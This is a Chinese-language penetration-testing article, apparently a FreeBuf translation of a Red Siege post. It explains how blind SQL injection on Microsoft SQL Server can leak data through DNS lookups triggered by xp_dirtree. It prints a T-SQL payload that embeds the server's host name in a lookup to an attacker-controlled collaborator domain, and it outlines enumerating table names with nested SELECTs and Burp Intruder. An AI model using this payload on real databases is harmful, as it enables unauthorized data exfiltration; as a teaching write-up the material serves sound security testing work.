如何使用DNS和SQLi从数据库中获取数据样本

2019 年 2 月 15 日 FreeBuf

泄露数据的方法有许多,但你是否知道可以使用DNS和SQLi从数据库中获取数据样本?本文我将为大家介绍一些利用SQL盲注从DB服务器枚举和泄露数据的技术。

在最近的一个Web应用测试中,我发现了一个潜在的SQLi漏洞。使用Burp的Collaborator服务通过DNS交互最终我确认了该SQL注入漏洞的存在。我尝试使用SQLmap进行一些额外的枚举和泄露,但由于SQLmap header的原因WAF阻止了我的请求。我需要另一种方法来验证SQLi并显示可以从服务器恢复数据。

在之前的文章中,我向大家展示了如何使用xp_dirtree通过SQLi来捕获SQL Server用户哈希值的方法。这里我尝试了相同的方法,但由于客户端防火墙上的出站过滤而失败了。此外,在上篇文章中我还引用了GracefulSecurity的文章内容,而在本文中它也将再次派上用场。

即使有出站过滤,xp_dirtree仍可用于从网络中泄露数据。这是因为SQL服务器必须在xp_dirtree操作的目标上执行DNS查找。因此,我们可以将数据添加为域名的主机或子域部分。例如,如果我在collaborator.redsiege.net上设置DNS服务器,我可以强制xp_dirtree在data.collaborator.redsiege.net上执行DNS查找,我的DNS服务器将接收该主机的查询,允许我提取来自请求的数据。可能这么说你还有些混乱,我们通过一个实例来讲解。

请思考以下代码:

DECLARE @data varchar(1024);
SELECT @data = (SELECT HOST_NAME()); 
EXEC('master.dbo.xp_dirtree "\\'+@data+'.collaborator.redsiege.net\foo$"');

在此SQL查询中,我们声明了一个名为data的变量,我们使用SELECT HOST_NAME()的结果来填充该变量,然后在\hostname.collaborator.redsiege.net上尝试xp_dirtree。

我的测试系统名为INTRUDER。在我的测试系统上执行这个查询导致了对INTRUDER.collaborator.redsiege.net的查找,如下所示。

在这一点上,我知道有一种可靠的方法可以来泄露数据,即使需要手动完成。当然,对于这个演示我使用SQL Server Management Studio来显示结果发出查询,但实际上这与通过SQLi实现这一点并没有太大区别,唯一的不同就是需要对部分查询进行URL编码。

在下面的示例中,红框中的查询语句将会为我们从Northwind数据库中返回表名。

在该查询中你应该已经注意到了有2个SELECT语句。内部SELECT语句(在上面截图中调用的)返回Northwind数据库中表名的前10个结果,并按升序字母顺序排序。然后,外部(第一个)SELECT语句选择按字母顺序降序排序的结果集的第一个结果。此查询的结果是我们检索Northwind数据库中第10个表的名称。你是不是感到有些疑惑?让我们来分解下。

以下内部的SELECT语句,它将返回10个结果并按升序字母顺序排序。

如下所示,完整的查询只返回第10个表的名称。这是因为我们首先返回了10个结果,并按升序字母顺序排序,然后我们又执行了第二个SELECT,其中只返回按降序字母顺序排序的第一个结果。这样一来查询结果将只会为我们返回表名列表中的第10个结果。

知道了这一点后,我们就可以使用Intruder迭代所有可能的表名,只需修改第二个SELECT语句并增加每个请求中的结果数即可。

如果你在测试中碰到SQL盲注而SQLmap无法帮助你完成任务时,你可以参考以下我找到的一些资料链接,或许它们能帮你完成任务甚至为你带来新的思考:

http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

https://www.gracefulsecurity.com/sql-injection-out-of-band-exploitation/

https://www.w3schools.com/SQL/trysqlserver.asp?filename=trysql_func_sqlserver_substring

*参考来源:redsiege,FB小编secist编译,转载请注明来自FreeBuf.COM

登录查看更多
0

相关内容

域名系统(英文: Domain  Name  System, DNS)是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
【2020新书】实战R语言4,323页pdf
专知会员服务
100+阅读 · 2020年7月1日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
117+阅读 · 2020年5月10日
【图神经网络(GNN)结构化数据分析】
专知会员服务
115+阅读 · 2020年3月22日
【GitHub实战】Pytorch实现的小样本逼真的视频到视频转换
专知会员服务
35+阅读 · 2019年12月15日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
社区分享|如何让模型在生产环境上推理得更快
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
亿级订单数据的访问与存储,怎么实现与优化?
码农翻身
16+阅读 · 2019年4月17日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
使用 Canal 实现数据异构
性能与架构
20+阅读 · 2019年3月4日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
深度学习训练数据不平衡问题,怎么解决?
AI研习社
7+阅读 · 2018年7月3日
Arxiv
101+阅读 · 2020年3月4日
Few-shot Learning: A Survey
Arxiv
362+阅读 · 2019年4月10日
Area Attention
Arxiv
5+阅读 · 2019年2月5日
Arxiv
5+阅读 · 2018年3月28日
Arxiv
5+阅读 · 2018年3月6日
Arxiv
6+阅读 · 2018年1月14日
VIP会员
相关VIP内容
相关资讯
社区分享|如何让模型在生产环境上推理得更快
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
亿级订单数据的访问与存储,怎么实现与优化?
码农翻身
16+阅读 · 2019年4月17日
基于Web页面验证码机制漏洞的检测
FreeBuf
7+阅读 · 2019年3月15日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
使用 Canal 实现数据异构
性能与架构
20+阅读 · 2019年3月4日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
深度学习训练数据不平衡问题,怎么解决?
AI研习社
7+阅读 · 2018年7月3日
相关论文
Arxiv
101+阅读 · 2020年3月4日
Few-shot Learning: A Survey
Arxiv
362+阅读 · 2019年4月10日
Area Attention
Arxiv
5+阅读 · 2019年2月5日
Arxiv
5+阅读 · 2018年3月28日
Arxiv
5+阅读 · 2018年3月6日
Arxiv
6+阅读 · 2018年1月14日
Top
微信扫码咨询专知VIP会员